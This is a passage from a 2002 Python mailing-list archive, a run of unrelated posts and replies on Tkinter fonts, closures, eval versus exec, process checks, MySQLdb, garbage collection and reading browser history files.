unpythonic.net) Date: Tue, 28 May 2002 20:45:43 -0500 Subject: Tkinter: Text widget and fixed-width fonts In-Reply-To: <3CF4234C.F1E1E1C4@earthlink.net> References: <3CF4234C.F1E1E1C4@earthlink.net> Message-ID: <20020528204539.A4207@unpythonic.net> On Wed, May 29, 2002 at 12:34:41AM +0000, Hans Nowak wrote: > > Howdy y'all, > > I wanted to use the Tkinter Text widget to display text in a fixed > width font, assuming that lines with an equal number of characters > would also have equal length. E.g. a line of "." * 40 should have > the same length as "M" * 40. While this works for "regular" > characters, it doesn't seem to work for special characters (possibly > ASCII >= 128). This is probably deep tk stuff. It's very likely that this problem will exist when running an equivalent program under wish: text .t -font [font create -family FixedSys -size 8] set line1 "[string repeat "\374" 80]\n" set line2 "[string repeat "W" 80]\n" set line3 "[string repeat "." 80]\n" .t insert end "$line1$line2$line3" pack .t Behind the scenes, Tk does all sorts of magic to provide all Unicode characters in every font. It does this by attempting to find characters in other fonts when necessary. This fallback process is different on Windows and Unix (and probably different still on Mac, but I've never read that code). The last steps in this process try to use fonts returned from 'TkFontGetGlobalClass()' and then "[t]ry all face names available in the whole system until we find one that can be used." The action of "try"ing boils down into the CanUseCallback() function, which doesn't seem to take into account whether the font is fixed or not. So my guess is that you don't actually have that character in any of the normal (correct, fixed-width) fallback fonts, but one does show up in a non-fixed font which is reached in one of these "last gasps" steps. (Using unicode characters chosen at random can show a similar problem on my Linux system) You might be interested in this note on fonts and encodings from the Tcl/Tk people: The process of identifying suitable fonts is complex, and Tk's algorithms don't always find a font even if one is actually installed on the system. Therefore, for best results, you should try to select as a widget's master font one that is capable of handling the characters you expect to display. For example, "Times" is likely to be a poor choice if you know that you need to display Japanese or Arabic characters in a widget. If you work with text in a variety of character sets, you may need to search out fonts to represent them. Markus Kuhn has developed a free 6x13 font that supports essentially all the Unicode characters that can be displayed in a 6x13 glyph. This does not include Japanese, Chinese, and other Asian languages, but it does cover many others. The font is available at http://www.cl.cam.ac.uk/~mgk25/ucs-fonts.html. His site also contains many useful links to other sources of fonts and font information. (excerpt from http://www.tcl.tk/doc/howto/i18n.html#tk) Of course, even once you've found a font which displays all european fonts with characters of one width, then you'll run into Japanese characters-- The strlen function does not have to be replaced where the result is used as a byte count, for example to allocate a suitably sized buffer for a string. The second most common use of strlen is to predict, how many columns the cursor of the terminal will advance if a string is printed out. With UTF-8, a character count will also not be satisfactory to predict column width, because ideographic characters (Chinese, Japanese, Korean) will occupy two column positions. To determine the width of a string on the terminal screen, it is necessary to decode the UTF-8 sequence and then use the wcwidth function to test the display width of each character. (excerpt from http://www.cl.cam.ac.uk/~mgk25/unicode.html) I didn't find anything directly addressing this issue. Like I said, this is some sort of deep Tk issue. If you can, take the bug report there .. dunno if you'll find an answer, though. Jeff From aleax at aleax.it Wed May 1 08:29:29 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 12:29:29 GMT Subject: Python vs. Perl, which is better to learn? References: <NCBBLFCOHHDIKCAFGCFBIEJCKNAA.marklists@mceahern.com> <mailman.1020229083.22489.python-list@python.org> <GvMz8.84036$vF6.2506068@news2.tin.it> <aaocsa$lba$1@slb5.atl.mindspring.net> Message-ID: <JcRz8.36603$8D3.1068028@news1.tin.it> Andrew Dalke wrote: ... >> unPythonic arrangement -- the upper bound is *included* (Python's ranges, >> slices etc have lower-bound-included, upper-bound-excluded...). > > But it isn't a range, it's a repeat count. Otherwise people would > also expect > > ^a{0} > > to match "" because that contains 0 "a"s. As such, it's much more "Otherwise"...? >>> a0=re.compile('^a{0}') >>> a0.match('') <_sre.SRE_Match object at 0x8187fb0> Of *course* a{0} matches '' -- how could it FAIL to? Alex From radix at verso.st.jyu.fi Mon May 6 03:25:11 2002 From: radix at verso.st.jyu.fi (Henrik =?ISO-8859-1?Q?H=E4rk=F6nen?=) Date: Mon, 6 May 2002 07:25:11 +0000 (UTC) Subject: Extending python with C References: <aatj2k$j00$1@mordred.cc.jyu.fi> <mailman.1020490867.26694.python-list@python.org> Message-ID: <ab5b4n$g16$1@mordred.cc.jyu.fi> eric <eric at enthought.com> wrote: > Hey Henrik, > You've put together a nice example. Thanks for taking the time to write this > up. I thought I'd also give an example of how to do the same thing using weave > which allows you to mix C++ directly into Python. Thanks! Cool, I didn't know that there was such a nice thing as 'weave', a certainly worth of testing. Thanks for informing me about it and for the example. If I have enough spare time, I must update my python page. :) From s997659 at ee.cuhk.edu.hk Sun May 26 22:30:45 2002 From: s997659 at ee.cuhk.edu.hk (Geiger Ho) Date: Mon, 27 May 2002 10:30:45 +0800 Subject: Derived class problem Message-ID: <Pine.GSO.4.05.10205271022440.10447-100000@sparc41> Hi all, Consider, class A: def method1(self): ... child = A() ... class B(A): pass When I call B.method1(), I will create an A child. But this is not I intend to do. I wanna create a B child. Can anyone tell me how I can modify? I don't want to override method1 as this is a pretty big code. Moreover is this problem a kind of Design Patterns? Thanks in advance. Regards, Geiger From donn at drizzle.com Wed May 15 01:22:22 2002 From: donn at drizzle.com (Donn Cave) Date: Wed, 15 May 2002 05:22:22 -0000 Subject: How do I check if a pid is running? References: <mailman.1021072399.16706.python-list@python.org> <833cwvjsre.fsf@panacea.canonical.org> <mailman.1021359323.3878.python-list@python.org> Message-ID: <1021440137.274051@yasure> Quoth "Noah Spurrier" <noah at noah.org>: | Yes, indeed, UNIX is a dark and grotty operating system. | It's filled with things like this. | | What I find particularly amusing is the fact that while | POSIX.2 defines a standard for a command line | process status (ps), POSIX.1 does not define a standard | for a system call to get process status. | Thus it seems that the only portable way to get a process status | is to do a system call to the 'ps' command line utility. | The fact that nobody really fully complies with POSIX seems | to make this whole notion of portability a cruel joke anyway. Well, POSIX.1 is not the most comprehensive standard, and there are some especially grievous flaws (e.g., filesystem locking semantics, and a pervasive use of unsigned integers for counting), but on the bright side, its restricted domain allows some platforms (like DEC VMS) to support it that couldn't pass for real UNIX. A UNIX platform should shoot for the X/Open standard. Don't know if that addresses kill(..., 0), though. | I can't imagine anyone coming out with a truly new OS. Oh yeah they are, certainly more than enough to meet the demand for them. Not infrequently they'll support POSIX and X/Open APIs though, at least a significant subset - leveraging a lot of software development. | It's like the QWERTY keyboard. After a while you are | committed and eventually society becomes stuck on a | standard that was more of a historical accident that | a work planning and engineering. | | But this is what makes UNIX more fun than Windows. | I actually get quite a bit of pleasure at figuring this stuff out. There isn't a historical legacy in Windows? | Of course, that whole "kill (pid, 0)" thing turned out | not to work very well anyway. It's very platform dependent. | It worked on every platform except the one I needed it to work on. That's odd. Works on BeOS, for what it's worth. Donn Cave, donn at drizzle.com From Chris.Barker at noaa.gov Fri May 17 16:34:41 2002 From: Chris.Barker at noaa.gov (Chris Barker) Date: Fri, 17 May 2002 13:34:41 -0700 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE4075A.CBC21AD@noaa.gov> <3CE40C73.656A81B4@kfunigraz.ac.at> Message-ID: <3CE56961.A6AAF6C6@noaa.gov> Siegfried Gonzi wrote: > I write the array (400 000 of lines) into a Numeric array (NIL becomes > -1.0). I repeat the task 10 times in a Python function. I'm still confused. do you call the F5 code from Python? Using Python to manipulate a Numeric array crated by the Fortran code? If so, I suspect that that is your memory leak. > The Fortran 95 > (F compiler from imagine1) takes on my laptop under Windows XP about 5 > minutes for 10 reading cycles. The Fortran version collects about 133MB > of RAM does it use more RAM each time it reads the file? If so, you have a memory leak. > The same task now on my 1000 MHz Celeron, 256MB, laptop takes > theoretically about 30 minutes; but practically it never ends. Beginning > at the 10. reading cycle the system wreaks havoc (the first 9 readings > are okay and every file access takes 60MB RAM; here the RAM consumption > from one cycle to the next is constant; hmm. that is odd. The memeory use is constant 60MB for the first 9 readings, and then things go wrong? post some code, if you wnat hel figuring it out. > I did the same on my new installed Linux on my stationary machine > (Pentium III 450MHz, 128MB RAM). Python takes on this machine 2 times > longer than on my 1000Mhz Celeron (For comparison I write here the ideal > situation if Python had stopped in 30 minutes on my Celeron laptop). > After completing the task the system goes on normal. > > I did the same test on the same stationary machine but now under Windows > NT 4.0 and Python. On Windows NT 4.0 the Python file reading function > takes exactly the same amount of time than the version under Linux *and* > after completing the task nothing happens and the system remains > *stable*. It does sounf like you have an XP problem. -Chris -- Christopher Barker, Ph.D. Oceanographer NOAA/OR&R/HAZMAT (206) 526-6959 voice 7600 Sand Point Way NE (206) 526-6329 fax Seattle, WA 98115 (206) 526-6317 main reception Chris.Barker at noaa.gov From joost_jacob at hotmail.com Mon May 13 11:33:48 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 13 May 2002 08:33:48 -0700 Subject: Which GUI Library to Use References: <Xns920A1C906ACC3cliechtigmxnet@62.2.16.82> <CEEPIKGCPKMFIKBEHCNFEEFGCOAA.lists@weissinger.org> <mailman.1021002256.7961.python-list@python.org> <a5415304.0205100614.564e6f3b@posting.google.com> Message-ID: <13285ea2.0205130733.2aaa5423@posting.google.com> > [Ron Stephens] > ... but I am always intrigued with "shortcuts" and thus I am still > "eyeing" the jythonc, compiled java option, although what will it gain > me if I find learning AWT to be as hard as learning QT??? > > Any comments would be welcome as always ;-)))) > Be -very- happy with all the choices Python offers you. Even the Tkinter that comes with most python distributions and needs no extra installs works fine for any GUI I ever made. That is with the exception of 3D graphics stuff or fast realtime 2D things, but then you'd better code in C anyway. About AWT: I used to be some kind of a walking AWT encyclopedia at my university and I can tell you it is my opinion the AWT design absolutely -stinks- ! Do you know that Sun even admitted that version 1.0 was bad and had it all redesigned? Well...I think their current version hardly any better. And Swing has some unbelievably clumsy designs. There are so many weird design decisions (and errors!) in the Java class libraries that I quit Java and switched to Python. :--)) From kragen at pobox.com Wed May 15 17:34:39 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 15 May 2002 17:34:39 -0400 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> Message-ID: <83y9el3xjk.fsf@panacea.canonical.org> spam at bugbear.com (Paul Graham) writes: > def addn(x): > return lambda y,z=y: x+z (assuming you mean lambda y,z=x: x+z) > > but I don't think this is exactly the same thing, > because it returns a function that takes a second > optional argument. That is a substantial difference. This is embarrassing, which I guess is why we have nested scopes in 2.1+ so we don't have to do this any more; but here's a solution for 1.5.2: class addn: def __init__(self, x): self.x = x def __call__(self, y): return self.x + y This is a class instead of a function, but that is not a substantial difference. Unlike the nested-scopes case, this lets you modify the state of the object in a straightforward way; a "counter" closure in Python is ugly: def counter(startvalue): state = [startvalue] def counter_internal(): state[0] += 1 return state[0] return counter_internal The class equivalent is a little better: class counter: def __init__(self, startvalue): self.state = startvalue def __call__(self): self.state = self.state + 1 return self.state (I didn't use += because this class version will work in 1.5.2 and earlier Pythons, which don't have +=. The nested-scopes version doesn't.) From menscher+python at uiuc.edu Tue May 21 01:59:48 2002 From: menscher+python at uiuc.edu (Damian Menscher) Date: Tue, 21 May 2002 05:59:48 GMT Subject: Q: going from tuple to comma-separated list? Message-ID: <onlG8.9611$U7.115194@vixen.cso.uiuc.edu> I've got a function that takes an arbitrary number of parameters. (This is the Gnuplot.plot() function.) I don't know until runtime how many things I want to send to it. So I thought I'd be clever and do it as plotdata = () for i in range(stuff): plotdata = plotdata + (function(i),) Gnuplot.plot(plotdata) But the plot function is dying due to: TypeError: bad argument type for built-in operation I realize plotdata is a tuple. So this is the equivalent of me calling Gnuplot.plot((0, 1, 2)) Note the double parenthesis... I'm guessing I just need to get rid of them. Is there a way to convert from a tuple to its non-parenthesized equivalent? Only thing I can think of would be to do it using a utility function: def remove_parens(tuple) if len(tuple)==1: return tuple[0] if len(tuple)==2: return tuple[0], tuple[1] if len(tuple)==3: return tuple[0], tuple[1], tuple[2], tuple[3] ...etc. And I'm not even sure that would work... Surely there's a better way? CC's appreciated, but not required. Damian Menscher -- -=#| Physics Grad Student & SysAdmin @ U Illinois Urbana-Champaign |#=- -=#| 488 LLP, 1110 W. Green St, Urbana, IL 61801 Ofc:(217)333-0038 |#=- -=#| 1429 DCL, Workstation Services Group, CITES Ofc:(217)244-3862 |#=- -=#| <menscher at uiuc.edu> www.uiuc.edu/~menscher/ Fax:(217)333-9819 |#=- From buzzard at urubu.freeserve.co.uk Sun May 5 13:30:23 2002 From: buzzard at urubu.freeserve.co.uk (Duncan Smith) Date: Sun, 5 May 2002 18:30:23 +0100 Subject: MySQLdb confusion References: <ab3gmc$4n0$1@newsg2.svr.pol.co.uk> <CCcB8.6334$zW3.168345@news1.tin.it> Message-ID: <ab3qe6$qoj$1@news6.svr.pol.co.uk> "Alex Martelli" <aleax at aleax.it> wrote in message news:CCcB8.6334$zW3.168345 at news1.tin.it... > Duncan Smith wrote: > > > I'm probably missing something (a brain?), but can anyone suggest a reason > > why I don't seem to be able to drop a (currently empty) database? Python > > Do you have the needed permissions? > > Yes. Just closed WinMySQLadmin 1.4 and reopened it; database gone and different Local IP Address? Rebooted, things seem OK and I'm back to the previous IP Address. Maybe this has something to do with my spam filtering s/ware? I'll see how it goes and kick SpamWeasel into touch if necessary. Cheers Alex. Duncan > Alex > From adam at adam.com Sat May 25 08:28:47 2002 From: adam at adam.com (Adam) Date: Sat, 25 May 2002 13:28:47 +0100 Subject: accessing IE history with python... Message-ID: <3cef8519$0$29613$4c56ba96@master.news.zetnet.net> Hi all, I am currently starting a project creating a yahoo style links page based on browsing preferences of a group of users. Currently the group are all using Netscape and I am able to access their history files using the Berkley db interface within Python this is fine. Now the whole group is going to be force to move to IE so I need to change some code to access the new history information. First of all i have only been able to see the files in windows using cygwin (UNIX emulation shell) they are .dat files if i have got the right ones. Also there are folders with long names see some examples below. I dont seem to be able to see this in the normal ms dos shell. See examples below. Questions: (Please bear in mind that i have full consent form the users involved or will seek consent for any further monitoring as suggested in Q4) 1) Will i be able to see these files from Python? 2) Does anyone know what these files mean(format, directories)? Do they contain the history info? 3) How can i extract information from these files? I have tried the Berkley db but it doesnt work. Currently i can extract quite a bit of info from the nestcape files basically what you can see in the history window plus a bit more. As you dont see quite everything there. I would be looking to get the same or more info from the IE files. 4) alternatives. I have considered logging all mouse and keystroke activity can i do this using python if the script is not in focus but in the background. I guess this would be quite a low level protocol maybe not accessible through python? Any help is appreciated... Thanks >From Adam CYGWIN: can see the files $ cd History/ Mr Adam G Craggs at AG /cygdrive/c/windows/History $ ls History.IE5 desktop.ini Mr Adam G Craggs at AG /cygdrive/c/windows/History $ cd History.IE5/ Mr Adam G Craggs at AG /cygdrive/c/windows/History/History.IE5 $ ls MSHist012000121720001218 MSHist012002052520020526 index.dat MSHist012002030420020305 desktop.ini Mr Adam G Craggs at AG /cygdrive/c/windows/History/History.IE5 $ cd MSHist012000121720001218/ Mr Adam G Craggs at AG /cygdrive/c/windows/History/History.IE5/MSHist01200012172000 1218 $ ls index.dat Mr Adam G Craggs at AG /cygdrive/c/windows/History/History.IE5/MSHist01200012172000 1218 $ MS DOS cant see anything C:\WINDOWS>cd history C:\WINDOWS\History>dir Volume in drive C is WINDOWS98 Volume Serial Number is 8B11-DA87 Directory of C:\WINDOWS\History . <DIR> 24/11/00 16:00 . .. <DIR> 24/11/00 16:00 .. 0 file(s) 0 bytes 2 dir(s) 6,085.75 MB free From martin at v.loewis.de Sun May 12 14:36:08 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 12 May 2002 20:36:08 +0200 Subject: unknown locale de_DE@euro References: <mailman.1021225760.4522.python-list@python.org> Message-ID: <m3adr5z013.fsf@mira.informatik.hu-berlin.de> "Sean 'Shaleh' Perry" <shalehperry at attbi.com> writes: > that is fair. However locale.normalize() is where the problem is actually > occuring. It handles the foo.enc style but not foo at enc style. > > Or should normalize() be killed of as cruft too? I'm not sure what the rationale for having locale.normalize is - it does not appear to serve a particular purpose. Again, I would like to hear if people use it, and why. In any case, it is used internally in the locale module, and needs to be fixed. Notice that, in the @enc style, enc usually does *not* denote an encoding. For de_DE at euro, it primarily indicates the currency; on Linux and Solaris, that, in turn, implies Latin-9 (but other systems may well use UTF-8 for this locale). The other use of this feature I know is no_NO at nynorsk, where it merely indicates a language dialect (Nynorsk vs. Bokmal - now indicated as nn_NO and nb_NO). Regards, Martin From sholden at holdenweb.com Tue May 14 22:28:43 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 14 May 2002 22:28:43 -0400 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> Message-ID: <%MjE8.9266$Wh.4751@atlpnn01.usenetserver.com> "Paul Graham" <spam at bugbear.com> wrote in message news:4f52f844.0205141503.40000c50 at posting.google.com... > I am not a Python expert, and I'm hoping someone > can tell me how in Python to write a function > of one argument x that returns a function of one > argument y that returns x+y. > > Here, in Scheme, is what I want to write: > > (define foo (x) (lambda (y) (+ x y))) > > I found on the web a page that says I could define > this as follows: > > def addn(x): > return lambda y,z=y: x+z > > but I don't think this is exactly the same thing, > because it returns a function that takes a second > optional argument. That is a substantial difference. > If the Scheme function is inadvertently called > (e.g. in someone else's code) with two arguments, it > would signal an error, whereas the code above would > quietly give the wrong answer. > > I would appreciate it if someone could tell me the > standard way to write this so that it returns a > function of exactly one argument. > There's no need to use lambda, and indeed I eschew it whenever it make sense to do so. From 2.2 on you don't need top import nested_scopes from __future__, by the way. Since functions are fisrt-class objects, it doesn't matter what name is associated with the declarations - they can be bound to any variable once they are returned. Python 2.2 (#1, Dec 31 2001, 15:21:18) [GCC 2.95.3-5 (cygwin special)] on cygwin Type "help", "copyright", "credits" or "license" for more information. >>> def adder(x): ... def anyoldname(y): ... return x+y ... return anyoldname ... >>> add3 = adder(3) >>> add100 = adder(100) >>> add3(12) 15 >>> add100(12) 112 >>> Note, however, that the function name (the name bound to it in the def statement) does get built in to its repr(): >>> add3 <function anyoldname at 0x100fffe8> >>> add100 <function anyoldname at 0x10100278> >>> Hope this helps. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From bokr at oz.net Sat May 4 19:56:25 2002 From: bokr at oz.net (Bengt Richter) Date: 4 May 2002 23:56:25 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> <Qh7A8.38334$8D3.1129579@news1.tin.it> <aarp35$6rf$0@216.39.172.122> <vgeA8.40079$8D3.1169254@news1.tin.it> <aas5uv$v1e$0@216.39.172.122> <JShA8.40793$8D3.1193018@news1.tin.it> Message-ID: <ab1sf9$mt8$0@216.39.172.122> On Thu, 02 May 2002 21:05:45 GMT, Alex Martelli <aleax at aleax.it> wrote: > >I can't argue that lambda lets you do anything substantial that def >doesn't -- there would be just no basis to substain such an argument. >I'm curious to see what you think there might be. > I'm working on it ;-) "Substantial" does present an added hurdle ;-) In the meantime, to clarify the semantics, I wonder whether this is the truly desired behavior of lambda: >>> k='a' >>> fa = lambda x:x+k >>> k='b' >>> fb = (lambda y: lambda x:x+y)(k) >>> k='c' >>> fa('fa->') 'fa->c' >>> fb('fb->') 'fb->b' >>> dis.dis(fa) 0 SET_LINENO 1 3 LOAD_FAST 0 (x) 6 LOAD_GLOBAL 1 (k) 9 BINARY_ADD 10 RETURN_VALUE >>> dis.dis(fb) 0 SET_LINENO 1 3 LOAD_FAST 0 (x) 6 LOAD_DEREF 0 (y) 9 BINARY_ADD 10 RETURN_VALUE >>> `fa.func_closure` 'None' >>> `fb.func_closure` '(<cell at 0x007DAE70: str object at 0x007B70D0>,)' >>> hex(id('b')) '0x7b70d0' I.e., what is the rationale for not creating a closure when a global binding exists at the time of lambda evaluation? Gotta go a few days. May have to catch up via archives. Dang fast-cycle usenet server... Regards, Bengt Richter From sholden at holdenweb.com Mon May 20 09:03:50 2002 From: sholden at holdenweb.com (Steve Holden) Date: Mon, 20 May 2002 09:03:50 -0400 Subject: Disabling garbage colletion? References: <Xns92128578FD968RASXnewsDFE1@130.133.1.4> Message-ID: <Ty6G8.78398$i42.21625@atlpnn01.usenetserver.com> "Philip Swartzleonard" <starx at pacbell.net> wrote ... > Hm, i just read in another post that you can turn off the garbage > collector? What exactly does this stop from happening? Is this a good idea > if e.g. you have a system which is guarenteed not to have cyclic-y > problems? Hm..... =) It's only a good idea of you think your program triggers bugs in the garbage collection and you want to verifdy that theory! Otherwise, GC is such asmall overhead that you hardly notice it in terms of execution time, and it keeps overall memory utilisation much lower. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From Alper_Alp at web.de Sun May 26 23:37:33 2002 From: Alper_Alp at web.de (Amor) Date: Mon, 27 May 2002 05:37:33 +0200 Subject: Need Help!!! Message-ID: <acs9mg$359$05$1@news.t-online.com> Hi... I have a problem... I programmed a frequency analysis... __________________________________________________________________________ #! usr/local/bin/python import sys from Tkinter import * def auswahl(datei, option): import re, string gefiltert = [] for i in range (len(datei)): gefiltert.append(string.join(re.split("[^A-Za-z\xc4\xe4\xd6\xf6\xdc\xfc]*", datei[i]),"")) gefiltert = string.join(gefiltert, "") if option == 0: gefiltert = string.lower(gefiltert) else: pass print gefiltert zaehler(gefiltert) return None def zaehler(text): letters = {"A":0, "a":0, "?":0, "?":0, "B":0, "b":0, "C":0, "c":0, "D":0, "d":0, "E":0, "e":0, "F":0, "f":0, "G":0, "g":0, "H":0, "h":0, "I":0, "i":0, "J":0, "j":0, "K":0, "k":0, "L":0, "l":0, "M":0, "m":0, "N":0, "n":0, "O":0, "o":0, "?":0, "?":0, "P":0, "p":0, "Q":0, "q":0, "R":0, "r":0, "S":0, "s":0, "T":0, "t":0, "U":0, "u":0, "?":0, "?":0, "V":0, "v":0, "W":0, "w":0, "X":0, "x":0, "Y":0, "y":0, "Z":0, "z":0} for i in text: if letters.has_key(i) == 1: letters[i] = letters[i] + 1 stats(letters, len(text)) return None def stats(letters, anzahl): werte = letters.items() print " Buchstabe | absolute Hfk | relative Hfk | %" print " ----------+--------------+--------------+-------" abso = 0; rela = 0 for i in range(len(werte)): if werte[i][1] == 0: pass else: q = float(werte[i][1]*100)/anzahl rela = rela + q abso = abso + werte[i][1] print "\t%s | %8i | %-5.2f | %-5.2f" %(werte[i][0], werte[i][1], q, rela) print " ----------+--------------+--------------+-------" print " SUMME | %8i | " %(abso) sys.exit() return None try: if len(sys.argv) == 2: option = 0 elif len(sys.argv) == 3: if sys.argv[2] == "-c" or sys.argv[2] == "--case-sensitive": option = 1 else: raise IndexError else: raise IndexError except IndexError: print"Ung?ltige Eingabe!\nAufruf: python %s [DATEI] [-c|--case-sensitive]" %sys.argv[0] sys.exit() try: print "Lade..." d = open(sys.argv[1], "r") datei = d.readlines() d.close() except IOError: print "...Datei nicht gefunden!" sys.exit() auswahl(datei, option) _______________________________________________________________________ now I must programm that so...that it sort the frequency and give out in Tkinter...as an barchat. Could someone help me...It's VERY importend!!!! Thx in advance From peter at engcorp.com Tue May 21 08:09:57 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 May 2002 08:09:57 -0400 Subject: Newbie - bound/unbound method call References: <cf701bae.0205210102.6d6fd1e5@posting.google.com> Message-ID: <3CEA3915.416F8FF2@engcorp.com> Inyeol Lee wrote: > > This code is for handling keywords. > > class C: > > def do_key1(self): > print "key1 done." > > def do_key2(self): > print "key2 done." > > def do_key3(self): > print "key3 done." > > table = { > "key1": do_key1, > "key2": do_key2, > "key3": do_key3 > } > > def do(self, key): > self.table[key](self) > > This code works fine, for example: > > >>> c = C() > >>> c.do("key1") > key1 done. > >>> > > But I don't fully understand why it works. I've just made it work > through trial & error. My question is; > > 1. Is it pythonic? Is there better way to do this? Looks fairly Pythonic to me, but I'm ill-qualified to say... Better way? It depends what you are trying to do. :-) Can you describe it in English instead of code? You don't really need to store the table ahead of time in this case, since you could always just use apply() and get_attr() to call the methods directly after building a string representing their names. > 2. Is the second 'self' in the last line 'self.table[key](self)' > required? (It generates TypeError without it.) Is it unbound method call > even though it starts with 'self'? The second self is required, I believe, since you are _not_ using "bound methods". When you create the table you do not have a specific instance, so the references are just references to the methods in that class. To call them you must give the self argument explicitly. Alternatively, you could construct the table each time in the constructor and store "self.do_key1" and so forth. Then they are bound methods and your do() implementation could skip the self part. -Peter From marcus.reiter at web.de Fri May 3 04:36:17 2002 From: marcus.reiter at web.de (Marcus Reiter) Date: Fri, 3 May 2002 10:36:17 +0200 Subject: win32 process list Message-ID: <aati68$4k5$07$1@news.t-online.com> Hello ! How can I get an list of all processes in windows with python ? Marcus From reply at in_newsgroup.tks Sat May 18 11:36:27 2002 From: reply at in_newsgroup.tks (Scrumpy) Date: 18 May 2002 15:36:27 GMT Subject: Python or Ruby for a newbie - Winner is Python! References: <abqqpn$260$1@hfc.pacific.net.hk> <91acf731.0205170652.43923fcc@posting.google.com> <3CE59233.54D85E40@engcorp.com> <slrnaebejr.oqd.gerhard@lilith.my-fqdn.de> Message-ID: <ac5sdr$7t1$1@hfc.pacific.net.hk> Gerhard =?iso-8859-15?Q?H=E4ring?= <gerhard at bigfoot.de> wrote in news:slrnaebejr.oqd.gerhard at lilith.my-fqdn.de: > Peter Hansen wrote in comp.lang.python: >> I was posting messages to this newsgroup for almost two weeks at the >> end of April and beginning of May. [...] Well, my service provider's >> news system was swallowing all my posts, keeping them locally (so I >> could see they were posted) but never upfeeding them into the rest of >> Usenet. [...] > > Already happened to me, too. In doubt, it helps to check > http://groups.google.com/ a few hours later to see if it has arrived > upstream (or check with a different nntp server if you have access to > one). > > Gerhard I think this is a good suggestion. I'll try that in the future when posting to a newsgroup that I've never posted to previously. Don't want to be accused of being a flamebaiter! ;-) Cheers, Scrumpy :) From ianb at colorstudy.com Wed May 8 16:57:12 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 08 May 2002 15:57:12 -0500 Subject: Whats so good about Python? In-Reply-To: <80a8af7d.0205081224.78a57a0c@posting.google.com> References: <8580b02e.0205071527.5b6ce52f@posting.google.com> <80a8af7d.0205081224.78a57a0c@posting.google.com> Message-ID: <1020891433.488.9.camel@localhost> On Wed, 2002-05-08 at 15:24, Klaus Momberger wrote: > You are already delivering a hint at the answer: (Simpler) Object Orientation, > which implies better scalability to larger projects. Just take a look at Zope. > Can you imagine (someone) writing it in Perl? I can't. But when I see Acquisition, I can't help thinking of $_ other Perlisms. It's almost like it's trying to recreate Perl in Python... (e.g., the dynamic scoping). Ian From Simon.Budig at unix-ag.org Mon May 27 10:20:52 2002 From: Simon.Budig at unix-ag.org (Simon Budig) Date: 27 May 2002 15:20:52 +0100 Subject: eval vs. exec Message-ID: <3cf232b4@si-nic.hrz.uni-siegen.de> Hi. I currently have problems to let code inside strings execute as I want to have it. Especially the difference between "eval" and "exec" (resp. compiling as 'eval' or as 'single') makes me headache. I want to execute things like the three following strings: "a = 2" ---> returns nothing "3 * 4" ---> returns 12 "a=2; b=3; a*b" ---> returns 6 My current code looks like this: mathenv = {"__builtins__" : {}} def evalmath (mathstuff): global mathenv mathenv['__builtins__'] = {} code = None try: code = compile (mathstuff, "", 'eval') except: try: code = compile (mathstuff, "", 'single') except: return "Error, was unable to compile the code" # actually there is some exception stuff in here. if code: try: result = eval (code, mathenv) except: result = "Error, unable to evaluate the code." # actually there is some exception stuff in here. return result the tests result in: >>> print "result:", evalmath("a = 2") result: None >>> print "result:", evalmath("3 * 4") result: 12 >>> print "result:", evalmath("a=2; b=3; a*b") result: 6 None While the first two things are OK, the last one is not, since the evaluated result gets printed instead of returned. The other problem is that the code written above is quite ugly and looks like a hack. For the latter problem there surely is a workaround by reassigning sys.stdout or something like this, but this is really evil. Is there a more pythonic way to do this? Thanks, Simon -- Simon.Budig at unix-ag.org http://www.home.unix-ag.org/simon/ From Simon.Budig at unix-ag.org Mon May 27 15:46:54 2002 From: Simon.Budig at unix-ag.org (Simon Budig) Date: 27 May 2002 20:46:54 +0100 Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> <yfsadql4r2n.fsf@black132.ex.ac.uk> <3cf252f7@si-nic.hrz.uni-siegen.de> <lk1ybxmt01.fsf@pc150.maths.bris.ac.uk> Message-ID: <3cf27f1e@si-nic.hrz.uni-siegen.de> Michael Hudson <mwh at python.net> wrote: > Hmm. Maybe compile as "single" but smash the last PRINT_EXPR into a > RETURN_VALUE? Might work. You'd probably want to turn all but the > last PRINT_EXPR into POP_TOPs too... > > Something like this? [...] >>>> super_eval("a = 2") >>>> super_eval("3*4") > 12 >>>> super_eval("a = 2; b = 3; a*b") > 6 Whow, this is impressive. Yes, this seems to work although this is way beyond my python-scope :-) I am not sure if I want to do this or if the interception of sys.stdout is a more - uhm - Simon-friendly solution... ;-) Thanks! Simon -- Simon.Budig at unix-ag.org http://www.home.unix-ag.org/simon/ From shagshag13 at yahoo.fr Tue May 28 08:11:32 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Tue, 28 May 2002 14:11:32 +0200 Subject: How to install Python without root priviledges ? References: <mailman.1022583955.4868.python-list@python.org> Message-ID: <acvs58$slsbc$1@ID-146704.news.dfncis.de> Thanks !!! S13. ps : and sorry for the typos... From dalke at dalkescientific.com Thu May 9 18:28:48 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Thu, 9 May 2002 16:28:48 -0600 Subject: "a better input" References: <aaiu6e$pfr$1@bob.news.rcn.net> <lklmatvdfn.fsf@pc150.maths.bris.ac.uk> <1_tC8.40668$zW3.442583@news1.tin.it> <abe9us$kn5$1@slb6.atl.mindspring.net> <bEAC8.24822$CN3.765429@news2.tin.it> Message-ID: <abet9q$579$1@slb4.atl.mindspring.net> Alex: > >>> class X: pass > ... > >>> complex(X) > Traceback (most recent call last): > File "<stdin>", line 1, in ? > TypeError: complex() arg can't be converted to complex > >>> > > X is not a complex literal, yet it doesn't give a ValueError. Hmm... As I recall the spec on which this was based was Alexis Layton: >> attempt to parse the string as 